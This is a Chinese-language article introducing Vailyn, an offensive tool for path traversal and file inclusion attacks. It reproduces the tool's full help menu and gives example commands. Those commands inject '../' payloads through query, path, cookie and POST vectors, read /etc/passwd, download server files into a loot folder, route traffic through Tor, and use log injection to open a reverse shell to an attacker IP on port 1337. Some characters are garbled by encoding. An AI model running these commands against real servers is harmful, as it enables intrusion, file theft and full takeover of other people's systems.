如何利用Vailyn識別路徑遍歷和文件包含漏洞
關于Vailyn
Vailyn是一款多階段漏洞分析和利用工具,可以幫助廣大研究人員分析、識別和利用路徑遍歷漏洞以及文件包含漏洞。該工具的性能非常強,并且害實現(xiàn)了大量的過濾規(guī)避技術。
Vailyn的操作分為兩個階段。首先,它可以嘗試訪問/etc/passwd或用戶指定的文件來檢測漏洞是否存在。此時,我們可以自由選擇使用哪些Payload,而第二階段該工具將會使用我們所選擇的Payload。
第二階段是漏洞利用階段?,F(xiàn)在,該工具將會嘗試使用文件和目錄字典從目標服務器提取所有可能的文件。搜索深度和目錄排列級別可以通過參數(shù)進行調整?;蛘?,它可以下載找到的文件,并將它們保存在其loot文件夾中。除此之外,Vailyn還會嘗試在目標系統(tǒng)上獲取一個反向Shell,并允許攻擊者獲得對目標服務器的完全控制。
當前版本的Vailyn支持多種攻擊向量:通過查詢實現(xiàn)注入、路徑、Cookie和POST數(shù)據(jù)等。
工具安裝
我們建議的Vailyn運行環(huán)境為Python 3.7+,但理論上來說該工具應當適用于Python 3.5或Python 3.6環(huán)境。
如需安裝Vailyn,可以直接訪問該項目的【Releases頁面】下載工具文檔,或使用下列命令將該項目源碼克隆至本地:
- $ git clone https://github.com/VainlyStrain/Vailyn
下載好項目源碼之后,我們則需要安裝好該工具所需的Python依賴組件。
(1) Unix系統(tǒng)
在Unix系統(tǒng)上,可以直接運行下列命令:
- $ pip install -r requirements.txt # --user
(2) Windows系統(tǒng)
在Windows系統(tǒng)上,可以直接使用pip命令來安裝“Vailyn\·›\requirements-windows.txt”中列出的依賴組件。
(3) 最后一步
如果你想要使用反向Shell模塊的完整功能,我們還需要安裝sshpass、ncat和konsole。
接下來,我們就可以直接運行下列命令來使用Vailyn了:
- $ python Vailyn -h
工具使用
Vailyn提供了三個必要參數(shù):-v VIC, -a INT和-p2 TP P1 P2。如果使用了-a參數(shù)的話,則可以支持更多選項。
- , \ / ,
- ':. \. /\. ./ .:'
- ':;. :\ .,:/ ''. /; ..::'
- ',':.,.__.'' ' ' `:.__:''.:'
- ';.. ,;' *
- * '., .:'
- `v;. ;v' o
- . ' '.. :.' ' .
- ' ':;, ' '
- o ' . :
- *
- | Vailyn |
- [ VainlyStrain ]
- Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
- [-p PAM] [-i F] [-Pi VIC2]
- [-c C] [-n] [-d I J K]
- [-s T] [-t] [-L]
- [-l] [-P] [-A]
- mandatory:
- -v VIC, --victim VIC Target to attack, part 1 [pre-payload]
- -a INT, --attack INT Attack type (int, 1-5, or A)
- A| Spider (all) 2| Path 5| POST Data, json
- P| Spider (partial) 3| Cookie
- 1| Query Parameter 4| POST Data, plain
- -p2 TP P1 P2, --phase2 TP P1 P2
- Attack in Phase 2, and needed parameters
- ┌[ Values ]─────────────┬────────────────────┐
- │ TP │ P1 │ P2 │
- ├─────────┼─────────────┼────────────────────┤
- │ leak │ File Dict │ Directory Dict │
- │ inject │ IP Addr │ Listening Port │
- │ implant │ Source File │ Server Destination │
- └─────────┴─────────────┴────────────────────┘
- additional:
- -p PAM, --param PAM query parameter or POST data for --attack 1, 4, 5
- -i F, --check F File to check for in Phase 1 (df: etc/passwd)
- -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]
- -c C, --cookie C Cookie to append (in header format)
- -l, --loot Download found files into the loot folder
- -d I J K, --depths I J K
- depths (I: phase 1, J: phase 2, K: permutation level)
- -h, --help show this help menu and exit
- -s T, --timeout T Request Timeout; stable switch for Arjun
- -t, --tor Pipe attacks through the Tor anonymity network
- -L, --lfi Additionally use PHP wrappers to leak files
- -n, --nosploit skip Phase 2 (does not need -p2 TP P1 P2)
- -P, --precise Use exact depth in Phase 1 (not a range)
- -A, --app Start Vailyn's Qt5 interface
- develop:
- --debug Display every path tried, even 404s.
- --version Print program version and exit.
- --notmain Avoid notify2 crash in subprocess call.
- Info:
- to leak files using absolute paths: -d 0 0 0
- to get a shell using absolute paths: -d 0 X 0
Vailyn當前支持五種攻擊向量,并且提供了自動化爬蟲。我們可以通過-a INT參數(shù)來選擇需要執(zhí)行的攻擊:
- INT attack
- ---- -------
- 1 query-based attack (https://site.com?file=../../../)
- 2 path-based attack (https://site.com/../../../)
- 3 cookie-based attack (will grab the cookies for you)
- 4 plain post data (ELEM1=VAL1&ELEM2=../../../)
- 5 json post data ({"file": "../../../"})
- A spider fetch + analyze all URLs from site using all vectors
- P partial spider fetch + analyze all URLs from site using only selected vectors
工具使用演示
簡單的查詢攻擊,第二階段文件提?。?/p>
- $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
簡單的查詢,但知道file.php已存在:
- $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
簡單的路徑攻擊:
- $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
路徑攻擊,但需要查詢參數(shù)和標簽:
- $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
簡單的Cookie攻擊:
- $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
POST Plain攻擊:
- $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
POST JSON攻擊:
- $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
攻擊,但目標存在登錄界面:
- $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
攻擊,但需要一個反向Shell(端口1337):
- $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection
完全的爬蟲自動化模式:
- $ Vailyn -v "http://root-url.site" -a A
工具演示視頻
視頻地址:【點我觀看】
項目地址
Vailyn:【GitHub傳送門】